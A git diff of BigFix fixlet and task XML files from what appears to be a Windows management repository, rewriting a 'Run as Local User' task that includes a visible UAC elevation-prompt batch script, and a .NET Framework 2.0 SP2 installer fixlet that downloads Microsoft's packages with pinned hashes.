+Disable-WindowsOptionalFeature -Online -FeatureName SMB1Protocol -NoRestart
+
+END_OF_FILE
+
+delete powershell.ps1
+move __createfile powershell.ps1
+
+waithidden { pathname of file ((it as string) of value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of native registry) } -ExecutionPolicy Bypass -File powershell.ps1
+action requires restart</ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes
index 456eb5a9a..005e5ee4b 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26940).bes	
@@ -1,136 +1,136 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
-  ID       : 26940
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-07-19T13:06:50
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to run script without elevation.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-delete __createfile
-createfile until EOF_EOF_EOF
-echo test > %systemroot%\test.out
-EOF_EOF_EOF
-
-
-parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
-parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
-// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
-parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
-if {exists logged on users}
-
-folder create "{parameter "user_profile"}\BES_Action"
-delete "{parameter "user_profile"}\BES_Action\test.cmd"
-copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
-
-// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
-action uses wow64 redirection false
-
-override wait
-hidden=false
-runas=localuser
-user={parameter "user_domain_name"}
-password=impersonate
-wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
-
-else
- parameter "Skipped"="No logged on user"
-endif
-
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action28258">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to run script with elevation prompt.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-delete __createfile
-createfile until EOF_EOF_EOF
-@REM Check for elevated permissions
-@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
-
-@REM --> If error flag set, we do not have admin.
-@if '%ERRORLEVEL%' NEQ '0' (
-    @echo Requesting administrative privileges...
-    @goto UACPrompt
-) else ( @goto gotAdmin )
-
-:UACPrompt
-    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
-    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
-    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
-    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
-    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
-
-    @wscript.exe "%temp%\getadmin.vbs"
-    @exit /B
-
-:gotAdmin
-    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
-    @pushd "%CD%"
-   @REM CD /D "%~dp0"
-
-@REM ############################################
-@REM Now do the things that required elevation
-
-echo test > %systemroot%\test.out
-exit /B %ERRORLEVEL%
-
-@REM ############ End of batch script ###########
-
-
-EOF_EOF_EOF
-
-//RunAs=currentuser
-//asadmin=interactive
-parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
-parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
-// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
-parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
-if {exists logged on users}
-
-folder create "{parameter "user_profile"}\BES_Action"
-delete "{parameter "user_profile"}\BES_Action\test.cmd"
-copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
-
-// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
-action uses wow64 redirection false
-
-override wait
-hidden=false
-runas=localuser
-user={parameter "user_domain_name"}
-password=impersonate
-wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
-
-else
- parameter "Skipped"="No logged on user"
-endif
-
-]]></ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
+  ID       : 26940
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-07-19T13:06:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script without elevation.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+echo test > %systemroot%\test.out
+EOF_EOF_EOF
+
+
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28258">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script with elevation prompt.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+@REM Check for elevated permissions
+@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
+
+@REM --> If error flag set, we do not have admin.
+@if '%ERRORLEVEL%' NEQ '0' (
+    @echo Requesting administrative privileges...
+    @goto UACPrompt
+) else ( @goto gotAdmin )
+
+:UACPrompt
+    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
+    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
+    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
+    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
+    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
+
+    @wscript.exe "%temp%\getadmin.vbs"
+    @exit /B
+
+:gotAdmin
+    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
+    @pushd "%CD%"
+   @REM CD /D "%~dp0"
+
+@REM ############################################
+@REM Now do the things that required elevation
+
+echo test > %systemroot%\test.out
+exit /B %ERRORLEVEL%
+
+@REM ############ End of batch script ###########
+
+
+EOF_EOF_EOF
+
+//RunAs=currentuser
+//asadmin=interactive
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes
index 351771b6c..f3964e7c8 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/HCL Labs_  Run as Local User without or Without Elevation (Interactive) (26941).bes	
@@ -1,136 +1,136 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Task Export
-
-  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
-  ID       : 26941
-  Author   : JasonWalker
-  Domain   : BESC
-  Imported : 2022-07-19T13:06:52
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Task>
-    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
-    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to run script without elevation.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-delete __createfile
-createfile until EOF_EOF_EOF
-echo test > %systemroot%\test.out
-EOF_EOF_EOF
-
-
-parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
-parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
-// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
-parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
-if {exists logged on users}
-
-folder create "{parameter "user_profile"}\BES_Action"
-delete "{parameter "user_profile"}\BES_Action\test.cmd"
-copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
-
-// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
-action uses wow64 redirection false
-
-override wait
-hidden=false
-runas=localuser
-user={parameter "user_domain_name"}
-password=impersonate
-wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
-
-else
- parameter "Skipped"="No logged on user"
-endif
-
-]]></ActionScript>
-    </DefaultAction>
-    <Action ID="Action28260">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to run script with elevation prompt.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-delete __createfile
-createfile until EOF_EOF_EOF
-@REM Check for elevated permissions
-@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
-
-@REM --> If error flag set, we do not have admin.
-@if '%ERRORLEVEL%' NEQ '0' (
-    @echo Requesting administrative privileges...
-    @goto UACPrompt
-) else ( @goto gotAdmin )
-
-:UACPrompt
-    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
-    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
-    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
-    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
-    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
-
-    @wscript.exe "%temp%\getadmin.vbs"
-    @exit /B
-
-:gotAdmin
-    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
-    @pushd "%CD%"
-   @REM CD /D "%~dp0"
-
-@REM ############################################
-@REM Now do the things that required elevation
-
-echo test > %systemroot%\test.out
-exit /B %ERRORLEVEL%
-
-@REM ############ End of batch script ###########
-
-
-EOF_EOF_EOF
-
-//RunAs=currentuser
-//asadmin=interactive
-parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
-parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
-// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
-parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
-if {exists logged on users}
-
-folder create "{parameter "user_profile"}\BES_Action"
-delete "{parameter "user_profile"}\BES_Action\test.cmd"
-copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
-
-// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
-action uses wow64 redirection false
-
-override wait
-hidden=false
-runas=localuser
-user={parameter "user_domain_name"}
-password=impersonate
-wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
-
-else
- parameter "Skipped"="No logged on user"
-endif
-
-]]></ActionScript>
-    </Action>
-  </Task>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : HCL Labs:  Run as Local User without or Without Elevation (Interactive)
+  ID       : 26941
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-07-19T13:06:52
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>HCL Labs: Run as Local User without or Without Elevation (Interactive)</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2019-05-20</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Tue, 19 Jul 2022 16:21:02 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script without elevation.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+echo test > %systemroot%\test.out
+EOF_EOF_EOF
+
+
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </DefaultAction>
+    <Action ID="Action28260">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to run script with elevation prompt.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+delete __createfile
+createfile until EOF_EOF_EOF
+@REM Check for elevated permissions
+@"%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system" >nul 2>&1
+
+@REM --> If error flag set, we do not have admin.
+@if '%ERRORLEVEL%' NEQ '0' (
+    @echo Requesting administrative privileges...
+    @goto UACPrompt
+) else ( @goto gotAdmin )
+
+:UACPrompt
+    @del /q "%temp%\getadmin.vbs" > NUL 2>&1
+    @IF EXIST "%temp%\getadmin.vbs"  @echo Unable to clear previous getadmin.vbs, aborting... & exit /B 1
+    @echo msgbox "A BigFix Action run in user context requires administrative elevation.  Please accept the following elevation prompt from User Access Control (UAC)",0,"BigFix Elevation Prompt" > "%temp%\getadmin.vbs"
+    @echo Set UAC = CreateObject^("Shell.Application"^) >> "%temp%\getadmin.vbs"
+    @echo UAC.ShellExecute "%~s0", "", "", "runas", 1 >> "%temp%\getadmin.vbs"
+
+    @wscript.exe "%temp%\getadmin.vbs"
+    @exit /B
+
+:gotAdmin
+    @if exist "%temp%\getadmin.vbs" ( del "%temp%\getadmin.vbs" )
+    @pushd "%CD%"
+   @REM CD /D "%~dp0"
+
+@REM ############################################
+@REM Now do the things that required elevation
+
+echo test > %systemroot%\test.out
+exit /B %ERRORLEVEL%
+
+@REM ############ End of batch script ###########
+
+
+EOF_EOF_EOF
+
+//RunAs=currentuser
+//asadmin=interactive
+parameter "user_name"="{(preceding text of first "|" of it | it) of concatenation "|" of names of logged on users}"
+parameter "user_profile"="{(preceding text of first "|" of it | it) of concatenation "|" of profile folders of users of logged on users}"
+// DOMAIN\ should be specified *only* for domain users.  Local users should have not prefix, not even COMPUTERNAME\user
+parameter "user_domain_name"="{(preceding text of first "|" of it | it) of concatenation "|" of ((if exists domain whose (it as lowercase != computer name as lowercase) of it then domain of it & "\" else "") of user of it & name of it) of logged on users}"
+if {exists logged on users}
+
+folder create "{parameter "user_profile"}\BES_Action"
+delete "{parameter "user_profile"}\BES_Action\test.cmd"
+copy __createfile "{parameter "user_profile"}\BES_Action\test.cmd"
+
+// Important - the check for elevation fails in 32-bit mode because \windows\syswow64\config does not exist
+action uses wow64 redirection false
+
+override wait
+hidden=false
+runas=localuser
+user={parameter "user_domain_name"}
+password=impersonate
+wait cmd.exe /C "{parameter "user_profile"}\BES_Action\test.cmd"
+
+else
+ parameter "Skipped"="No logged on user"
+endif
+
+]]></ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes
index a9dc2eacc..19f439b67 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 2.0 Service Pack 2 (106).bes	
@@ -1,55 +1,55 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Install Microsoft .NET Framework 2.0 Service Pack 2
-  ID       : 106
-  Author   : danielheth
-  Domain   : BESC
-  Imported : 2012-10-17T09:31:55
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Install Microsoft .NET Framework 2.0 Service Pack 2</Title>
-    <Description><![CDATA[The .NET Framework 2.0 Service Pack 2 provides cumulative roll-up updates for customer reported issues found after the release of the .NET Framework 2.0. In addition, this release provides performance improvements, and prerequisite feature support for the .NET Framework 3.5 Service Pack 1. <BR><BR>Please review the supported operating systems for this deployment package in the System Requirements section. The corresponding updates for Windows Vista and Microsoft Windows 2008 are deployed via the full .NET Framework 3.5 service pack 1. ]]></Description>
-    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
-    <Category>Install</Category>
-    <Source>danielheth@bigfix.me</Source>
-    <SourceID>&lt;Unspecified&gt;</SourceID>
-    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
-    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
-    <MIMEField>
-      <Name>x-fixlet-source</Name>
-      <Value>Software Distribution Wizard</Value>
-    </MIMEField>
-    <MIMEField>
-      <Name>x-fixlet-modification-time</Name>
-      <Value>Wed, 03 Oct 2012 16:26:15 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here </Link>
-        <PostLink>to initiate the deployment process.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
-	prefetch NetFx20SP2_x64.exe sha1:a7cc6c6e5a4ad9cdf3df16a7d277eb09fec429b7 size:48524296 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x64.exe
-	wait __Download\NetFx20SP2_x64.exe /quiet /norestart
-else
-	prefetch NetFx20SP2_x86.exe sha1:22d776d4d204863105a5db99e8b8888be23c61a7 size:25001480 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x86.exe
-	wait __Download\NetFx20SP2_x86.exe /quiet /norestart
-endif</ActionScript>
-      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
-    </DefaultAction>
-    <Action ID="Action263">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to learn more about this software.</PostLink>
-      </Description>
-      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=1639</ActionScript>
-    </Action>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Install Microsoft .NET Framework 2.0 Service Pack 2
+  ID       : 106
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-17T09:31:55
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Install Microsoft .NET Framework 2.0 Service Pack 2</Title>
+    <Description><![CDATA[The .NET Framework 2.0 Service Pack 2 provides cumulative roll-up updates for customer reported issues found after the release of the .NET Framework 2.0. In addition, this release provides performance improvements, and prerequisite feature support for the .NET Framework 3.5 Service Pack 1. <BR><BR>Please review the supported operating systems for this deployment package in the System Requirements section. The corresponding updates for Windows Vista and Microsoft Windows 2008 are deployed via the full .NET Framework 3.5 service pack 1. ]]></Description>
+    <Relevance>(name of it = &quot;Win2000&quot; OR name of it = &quot;WinXP&quot; OR name of it = &quot;WinXP-2003&quot; OR (name of it = &quot;Win2003&quot; AND NOT x64 of it) OR (name of it = &quot;Win2003&quot; AND x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND NOT x64 of it) OR (name of it = &quot;WinVista&quot; AND product type of it = nt workstation product type AND x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND NOT x64 of it) OR ((name of it = &quot;Win2008&quot; or (name of it = &quot;WinVista&quot; and product type of it != nt workstation product type)) AND x64 of it) OR (name of it = &quot;Win7&quot; AND NOT x64 of it) OR (name of it = &quot;Win7&quot; AND x64 of it) OR name of it = &quot;Win2008R2&quot; OR name of it = &quot;WinXPe&quot;) of operating system AND TRUE</Relevance>
+    <Category>Install</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-03</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-source</Name>
+      <Value>Software Distribution Wizard</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Wed, 03 Oct 2012 16:26:15 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here </Link>
+        <PostLink>to initiate the deployment process.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">if {x64 of operating system}
+	prefetch NetFx20SP2_x64.exe sha1:a7cc6c6e5a4ad9cdf3df16a7d277eb09fec429b7 size:48524296 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x64.exe
+	wait __Download\NetFx20SP2_x64.exe /quiet /norestart
+else
+	prefetch NetFx20SP2_x86.exe sha1:22d776d4d204863105a5db99e8b8888be23c61a7 size:25001480 http://download.microsoft.com/download/c/6/e/c6e88215-0178-4c6c-b5f3-158ff77b1f38/NetFx20SP2_x86.exe
+	wait __Download\NetFx20SP2_x86.exe /quiet /norestart
+endif</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+    <Action ID="Action263">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn more about this software.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.microsoft.com/en-us/download/details.aspx?id=1639</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes b/Sites/Windows Management/Fixlets/Fixlets/Install Microsoft .NET Framework 3.5 (104).bes
